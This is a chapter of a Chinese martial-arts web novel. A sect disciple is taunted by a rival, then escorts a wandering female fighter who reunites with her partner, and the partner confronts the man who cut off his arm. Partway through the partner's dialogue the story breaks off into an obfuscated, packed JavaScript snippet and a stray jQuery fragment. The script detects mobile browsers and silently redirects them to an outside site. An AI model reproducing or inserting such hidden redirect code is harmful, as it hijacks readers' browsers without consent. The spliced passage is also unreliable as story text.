古叶千揉揉自己的后腰和臀部,愤愤道:“臭小子下手真狠,哎哟嘶——我的屁股,你看,轻轻一挨就痛!”他又转怒为喜,道:“不过我好歹也摔了他一屁股,左师叔门下的第一弟子,被我古叶千摔了个屁股墩儿,哈哈,哈哈,我能出去说一年,就算输了也高兴!”
雨馀凉本来从昨天大较开始就满心紧张,又羡慕古叶千已经比完了,此刻听到他说这几句话,也不禁笑起来,道:“你真的不要紧吗,身上这么痛,还跟我出来到处走。”
古叶千道:“你是不知道,我现在根本不敢坐下,一坐下屁股就跟针刺一样痛。”
雨馀凉道:“那你趴着休息也是好的。”
古叶千笑道:“我好不容易比完了,身上虽然痛,心里却高兴得不得了,想到后面还有那么长的假,根本趴不住,就算趴下了,也会忍不住在床上乱滚,这么一滚,不又压着屁股了?还不如约你出来走走。馀凉你还是想回去看大较么?”
雨馀凉摇摇头道:“不,我待在那里也是紧张,还不如出来透透气。”
两人在街上河边逛了一两个时辰,古叶千到底身上有伤,走久了支持不住,跟雨馀凉道了别就回家了。雨馀凉还想一个人再在外面待会,正坐在桥亭中看着河面出神时,旁边突然爆发出一阵笑声。
雨馀凉转头看去,只见谢岚星正和一名弟子嘻嘻笑道:“馀娘,馀娘?馀娘是什么娘?有多娘?”
他们怎么也出来了?
雨馀凉心下一沉,知道他们是在笑古叶千。古叶千说话鼻边音不分,平日里叫雨馀凉的名字,确实是这样。
谢岚星又道:“那天我听到雨老儿在叫‘凉儿’,‘凉儿’,我还不知道他在叫什么,之后才明白过来,哦哦哦原来是凉儿,我还以为是‘娘儿’!”两人肩膀不停耸动,又是一顿大笑。
雨馀凉觉得他们笑得真夸张,想起身离开,但又觉得自己不该就这么逃跑也似地走了,于是定定地坐在那儿,眼睛盯着河面,要看他们之后还待怎样。
旁边那名弟子笑道:“你快别说了,当心人家回去告妈妈。”
谢岚星道:“师弟,你糊涂了,娘儿没有妈妈,也没有爹爹。”
雨馀凉噌的一下站起。
谢岚星道:“哟,娘儿生气啦!”
雨馀凉胸口起伏,道:“我有爹,也有娘,你嘴巴放尊重些。”
另一名弟子笑容稍稍收敛了点,谢岚星却还继续道:“可怜的娘儿,谁这么骗你,让你一直活在谎言之中?哦,不用想都知道,一定是雨老儿这么跟你说的。”他顿了顿,突然高声笑道:“雨老儿自己都是个老光棍,连儿子都没有,哪里来的孙子?”
“你——!!!”
雨馀凉失去了理智,不管不顾地就要冲上去打谢岚星,却被另一名弟子一把扯住衣衫后领。这名弟子快速变招,顺势扭住雨馀凉双臂,反背在身后。
雨馀凉只觉颈上一勒,接着双臂剧痛,怎么也挣脱不开了。
这一招是水南十三路擒拿手第六路中的第八式,在水南都是作为入门基础教给初学武功的人。这招招式简单,学起来容易,要躲开也容易,然而一旦被这招擒住,就算是武功高强之人也难以挣脱。所以认得这招的人,往往都是躲开以避其锋芒。其实这名弟子实力跟雨馀凉相差不多,只是雨馀凉心中气急,全副心思都在谢岚星身上,压根来不及反应,当真就被制住。
谢岚星双手重重搭在雨馀凉肩上,发出啪的一声脆响,道:“娘儿师兄,再怎么说咱们也是习武之人,你怎么跟菜市场里打架的一样?”
雨馀凉双臂刚被抓住时尖锐的剧痛直冲天灵盖,直接被激出了眼泪,他知道若谢岚星看到定会嘲讽他一番,且以后都会拿这件事出来嘲讽,所以一直低着头,并且仍感到酸痛源源不断地从手臂传上来。
谢岚星的声音响在头顶上方:“要打,明天有的是机会,舞台大着呢。我会让你在那么多那么多人面前,好好出丑。”
突然之间,雨馀凉感到双臂失去了钳制,两人嘻嘻哈哈地走远了。这之后过了良久,雨馀凉才把头抬起来。
他失魂落魄地走在河边,一种被侮辱和欺骗的气苦萦绕心头,脑海中反复回荡着那句“雨老儿自己都是个老光棍,连儿子都没有,哪里来的孙子?”
忽然一道清脆的女声在身侧响起:“这位小兄弟,敢问附近可有刀剑铺子?”
雨馀凉转头看去,一道俏生生的身影映入眼帘。
只见眼前的少女约莫跟自己差不多年纪,正笑望着他。看她打扮,似道姑又不似道姑。说她不是,她穿着道袍,发髻也是梳成道姑的式样。说她是,这少女又似乎打扮得花俏了些。只见她发髻后插着木槿绢花,水红色的深浅花瓣如烟如雾,又如同凤蝶翩跹欲飞的翅膀。
她两鬓各梳下一绺顺直长发,道袍本就放量甚大,她在道袍外又笼了一件半透明的纱衣。整个人站在风中,襟带飘飘,确是仙风道骨,清气骤生,可这仙气中又有着蕴藉的、丝丝缕缕的娇俏,使她虽作道姑打扮,看上去却不像玄门中人。
这道姑正是山鬼。她与河伯昨日被狱卒冲散,两人分开前说好在谷州府汇合。可鱼晚衣来到谷州府后,才发现谷州府比自己想象的大,大得多。
这可不好找人。
昨天情势危急,她与河伯只来得及约好在谷州汇合,却没说在哪里碰面。山鬼在谷州府穿街走巷,正自烦恼,突然间福至心灵,决定找个人问问哪里有兵器铺。往周围一看,刚好雨馀凉就在不远处,于是上前问路。
雨馀凉勉强定了定心神,道:“你先到沿华街,里面的第三条巷子……”
山鬼笑道:“沿华街又在哪里啊?”
雨馀凉于是将该如何从这里走到那细细跟她说了,还跟她说了两条路线,这两条路线距离差不多,都可以走。山鬼一边听一边点头,又问:“敢问谷州府还有没有其他兵器铺子?”
雨馀凉道:“没有了,谷州府的兵器铺只此一家。”
山鬼大喜,武林人士行走江湖,兵刃乃保全性命第一要物。河伯到了谷州府头一件事一定是去买剑,就算到了兵器铺没碰上河伯,她也可以问问掌柜是否有与河伯相似的人来过。这比跟无头苍蝇似的乱转可好得多了。
山鬼又向雨馀凉确认了一遍路线,雨馀凉见她脸上略微露出不确定的神色。心想,此处离兵器铺着实还有一段路,这姑娘不是本地人,太阳就快下山了,若她直到天黑都找不到该怎么办?她又是一个人,女孩子一个人在夜晚陌生的街道上行走……他虽然因为先前谢岚星的事万分气恼伤心,但此刻却觉得自己不能抛下这个女孩不管,道:“我带你过去吧。”
山鬼喜形于色道:“真的吗?”
雨馀凉见她如此反应,心里一乐,顿觉心中阴霾被这少女春阳般的笑容驱散了不少,不禁也笑道:“真的,走吧。”
山鬼脚步雀跃地跟上来,喜笑颜开道:“谢谢你,谢谢你!”
两人并排走着,一路上,山鬼都在不停地开启话题,根本没有出现两人无话可说的情况。雨馀凉完全不属于健谈的人,就是跟古叶千在一起,有时也是沉默着行走一路。但眼前这女孩子就是能说个不停,他也不时回上一两句。奇怪的是,他并没有感到不适或局促,也没有感到山鬼在很用力地寻找话题,一切都十分自然。
行了一段路,山鬼问道:“你是谷州刀派的弟子?”
雨馀凉吃了一惊,道:“你怎么知道?”
山鬼笑道:“你腰牌上不是写着?”
雨馀凉往腰间看去,这才发觉今天下午出门忘记将腰牌解下来了。这木质腰牌谷州刀派弟子人手一个,写明了弟子姓名,从属哪位师父门下。
雨馀凉有些窘迫,道:“这几天大较,所以系着。”
山鬼道:“那你是什么时候比?”
雨馀凉随口道:“明天。”
山鬼望着天空道:“真好,我也有些怀念从前大较的日子了。”
雨馀凉惊道:“你也是武林中人?”
山鬼微笑道:“……是。”
雨馀凉先前看这少女娇美,也未佩戴武器,只以为是个普通的道姑,不想竟是武林同道——虽然他觉得称自己为武林中人是给自己脸上贴金。雨馀凉在很久以前就想明白了自己将来不是能够踏足武林的料,从谷州刀派出来后,也许做做生意摆摆摊,也许给人干干活帮帮佣,反正不是继续做“武行”的事,他这辈子都再也不想跟人拳脚相向,也不知道打来打去的意义何在。
但听这少女所言,似乎大较对她来说都是老早以前经历的事,可她看上去明明跟自己差不多大。
可能是她早早地就学成出师,不用再参加大较。也可能是学不下去,中途就离开了门派,后一种雨馀凉在谷州刀派也见过不少。
雨馀凉纠结一阵,还是好奇,问:“那你现在是在门派还是……”
山鬼道:“早就没在门派啦,现在在做自己的事。”
雨馀凉道:“嗯,人的一生能做自己想做的事,就算其他东西都失去,也很幸福了。”
山鬼没有再开口说话了。雨馀凉猛地尴尬起来,心想该死,对方不过今天刚和自己认识,自己怎么把话题带得这么沉重?正自烦恼时,山鬼突然咯咯咯地笑起来。雨馀凉感到奇怪,问道:“这位姑娘,怎么了?”
山鬼笑道:“这位小哥哥,有没有人跟你说过你长得很好看。”
雨馀凉先是一怔,回过神来后颇有些不好意思,说有也不是,说没有也不是。他确实常被人说“长得好看”、“模样俊”,但他对此一直没有实感。同门弟子也有私下叫他“绣花枕头”的,所以他也从未感到这是一件让他高兴的事或是值得骄傲的本钱。但此刻被这个女孩子夸赞,雨馀凉心里却不知为何甜丝丝的,第一次为这件事感到有些开心,口中却仍是道:“姑娘,莫开玩笑。”
山鬼突然道:“你叫什么名字?”
雨馀凉心里突的一跳,道:“怎么问这个?”他们萍水相逢,他只是给她带了一截路,似乎并没有告知名字的必要。
山鬼笑道:“明天我来你们门派看你大较,知道你叫什么比较容易找到你。你是明天上午还是下午?”
雨馀凉想说不用了,毕竟他那两下子着实没啥可看的,说不定还要出丑,但“上午”两个字却脱口而出。
山鬼道:“那就说好了,明天上午我来。”
二人说话间,已经到了沿华街口。雨馀凉突然觉得,从河边到沿华街的路其实并不长。
二人还未走到街内的第三条巷子,就远远看见巷口立着两道人影。
此刻夕阳西下,红光漫天,二人深黑的影子被拉得老长,投映在石板路面上。
山鬼看清其中一道人影是河伯,心中大喜,大声呼道:“邢大哥!”一边加快了脚步向河伯走去。
河伯身形一动,略微侧头,肃然道:“你来了。”
自从山鬼与河伯搭档以来,河伯如此严肃的样子屈指可数。山鬼心中疑惑,朝河伯对面那人看去。
对面那人是个看上去四十岁左右的汉子,身形劲瘦有力,就算不看他左手拿着的那把极修长的直刀,也知他多半是习武之人。这汉子背上除背着一顶斗笠外,还斜背着一把用布袋裹着的长条形物什。他面色黝黑,左半边脸一道疤痕从眉尾一直拉到嘴角,为他平添了几分狰狞。
山鬼问道:“他是谁?”
河伯冷冷道:“哼,这位就是六年前砍去了我的右手小臂,将我送入九寒山牢的朋友。”
山鬼听了河伯之言,目光陡然凌厉起来,双脚略微迈开,不动声色做好了打斗的准备。
此人能让河伯吃如此大亏,武功定然不低。山鬼武功不及河伯,不知二人合力能否将此人拿下。想到此处,不由感慨真是一波未平,一波又起。好不容易将河伯从九寒山牢带出,却刚好碰上郑宝卿,这之后狱卒无端发狂,她好不容易与河伯重新会合,河伯又说眼前这人是他的仇家。
只见这疤脸汉子神色漠然,道:“这位兄台从方才就对我纠缠不休,我与兄台素不相识,又如何能与兄台结仇?”听他说话,语气中竟略有疲态。
河伯冷笑一声道:“兄弟做了就做了,何必不承认?敢做不敢当,这就出来行走江湖么?”
疤脸汉子听他这么说,也冷笑了两声,道:“你如此一口咬定是我六年前断你手臂再送你入狱,又有何凭据?”
河伯道:“六年前在小菟村,你虽遮掩了相貌,可没想到我天生异能,能感知到不同习武之人内功真气的差别。你身上的内功真气跟六年前那人一模一样,不是你还能是谁?”他顿了顿,“让我被关进九寒山牢的不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717279|144790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一定是你,可断我手臂的一定是你。断臂之仇,非报不可。”
那疤脸汉子闻言,眉毛一挑,却没再说话。
雨馀凉站在一旁,不知道眼下是什么情况,路人看见这边情形,都低头快速走过,或远远地绕开了。雨馀凉只感到气氛剑拔弩张,而那疤脸汉子看起来更不是善类。这几人没一人理他,他想走,却又怕自己走动起来反而引起注意,这些人先将他杀了。
他不由自主地看向山鬼的背影,想要寻求一点安全感,毕竟不久前山鬼还与他相谈甚欢。雨馀凉虽然在谷州刀派习武近十年,但以前从未接触过真正在江湖行走的武林中人。不知为何,他胆子又突然大起来,想要知道接下来会发生什么,这些人会打起来吗?那是不是可以近距离看到真正的武林人士对决?他自己都没有察觉到,自己在紧张之余,竟隐隐有些期待。
过了半晌,疤脸汉子道:“那么你待如何?”
河伯道:“我也会斩断你一条手臂。可刀剑不生眼睛,一不小心将兄弟两条手臂都砍下来,或丢了性命,也是可能的。”
疤脸汉子哈哈大笑,道:“好,好!我倒是好奇,你既入了九寒山牢,又是怎么出来的?你既越了狱,那么有没有人在后头追杀你?”
疤脸汉子语带笑意:“兄台,我奉劝你莫要一时冲动就给自己找下麻烦。听说九寒山牢在每个犯人入狱之时都会给他们服下凝滞丹,这药,普通人服下后只是血流速度变慢而已,可习武之人服下,便会内息运转停滞,想要提升内力是万万不可能了,此药正是为了防止犯人在牢里修炼,增强内功从而越狱。就按照你所说的吧,六年前是我断去了你小臂,可六年前你都不是我的对手,服下凝滞丹的你,这六年想必也没什么长进,现在又拿什么来报仇呢?何况你我动起手来闹出动静,追击你人被吸引过来,到时候前狼后虎再难脱身,你这狱不是白越了?”
鱼晚衣突然道:“邢大哥,他说得没错。我们还是先低调行事的好,等到时机成熟时,再报仇不迟。”
河伯嘴唇紧闭,默然不语。只死死盯着那疤脸汉子。
那疤脸汉子避开河伯眼神,看了一眼后者的断腕,目光又从山鬼和雨馀凉脸上轻飘飘扫过,并未停留。突然足尖一抵,身子已纵起在半空,随后只见他一翻身,身影便消失在一旁房屋之后。
雨馀凉见了这手轻功,内心忍不住惊叹。
见那人离开,山鬼紧绷的身体这才放松下来。她突然想到雨馀凉还在旁边,转过头去,对雨馀凉道:“小兄弟,谢谢你给我带路,如今已经到了地方,请回去吧。”
雨馀凉一怔,道:“可兵器铺还要再往巷子里面走……”
鱼晚衣道:“我找兵器铺也是在找人,现在人找到了,就不用去兵器铺啦。”
雨馀凉不由得看向山鬼旁边的河伯,只见后者身材高大,眉目疏朗,不知为何忽然间有些失落。
临别时,山鬼在他身后大声道:“明天上午我来,在这先预祝你赢得比试!”
河伯感到奇怪,问道:“你来?来什么?”
山鬼仰头看向河伯道:“我答应了这位小兄弟,明天要去看他大较比武。”
河伯道:“我的小姑奶奶,你可别忘了,我们不是到这里玩的。”
山鬼道:“顺便去看看而已。明天休整一天,采买些路上需要的东西,后天一早就启程。”
河伯倒也觉得合理,他也想再去探探那疤脸汉子的踪迹,就算不跟他动手,知道些底细也是好的。
山鬼道:“那我们现在去找客栈?”说着便曳开步子。
此刻华灯初上,谷州府的街道上依旧热闹,山鬼与河伯一边走一边说着话。
山鬼道:“剑买到了?”
河伯将一柄剑从背后取下,右肘往剑鞘上拍了拍:“这不是?”
山鬼道:“我本以为这次行动只是将你从牢里带出来而已,谁想平白牵出这许多枝节。”她压低了声音:“重云门,郑宝卿,突然发狂的狱卒,蛊毒,笛声……还有那个要求我们把他也带出来的少年。”
河伯道:“干!说起他我就来气,辛辛苦苦带出来,结果死了。要不是他,之后哪能生出这么多事。”
山鬼道:“这么多事撞在一起,难道是巧合吗?背后是卫氏在捣鬼,还是有新的势力介入?”
河伯道:“看上去,水南内部似乎也出了点问题,毕竟蛊只可能来自蛮疆。”
山鬼沉吟一阵,最终长叹了口气,道:“啊——我不想思考这些了,回去都报告给少主,结合水西送去的情报再分析吧。”
河伯也将双手抱在脑后,望着漆黑的夜空道:“也是。”他走了几步,突然想起什么,道:“听闻谷州府的烤鱼十分有名,咱俩去体验一下?”
山鬼睨他一眼:“行啊,你付账。”
河伯道:“鱼女侠,我一个刚从那种地方出来的人,一穷二白的,哪有钱啊。”
山鬼道:“之前不是给了你几两银子?”
河伯委屈道:“全用来买剑了啊,我还跟老板讲了好久的价。”
山鬼道:“我可没钱。”
河伯笑道:“你从水西千里迢迢地到水南,少主没给你个几十两银子的?”
山鬼道:“回去可是要报账的。”
河伯道:“报账是什么大不了的事?让我来,我会报。况且……少主不会多问的,他就当作是变相给咱们津贴了。谷州府啊,离水西真远,离衡泽真远,说不定以后都没机会来这里了。”
山鬼道:“……那你找找烤鱼店吧。”
河伯喜笑嘻嘻道:“得嘞。他们姓聊的财大气粗,几年前那次,你还记得不?去笼络一个照水帮,五万两银子说掏就掏,还给了那么多玉器珠宝,结果照水帮什么用场也没派上就没了。那么多银子,他们不心痛,我可替他们心痛得不得了……好啦好啦别那样瞪着我,我闭嘴行不?”
过了一会儿,河伯又道:“不过他这剑的品质也就跟普通菜刀差不多,一把菜刀才卖几十文,他就收了我四两银子,那半贯铜钱也全搭进去了,就这那老板口里还嘟嘟囔囔,要不是我急着用,这儿又只有他一家铺子,我……”
山鬼突然叫道:“哎呀糟了!”
河伯低头道:“怎么了?”
山鬼道:“那位小兄弟还没说名字呢。”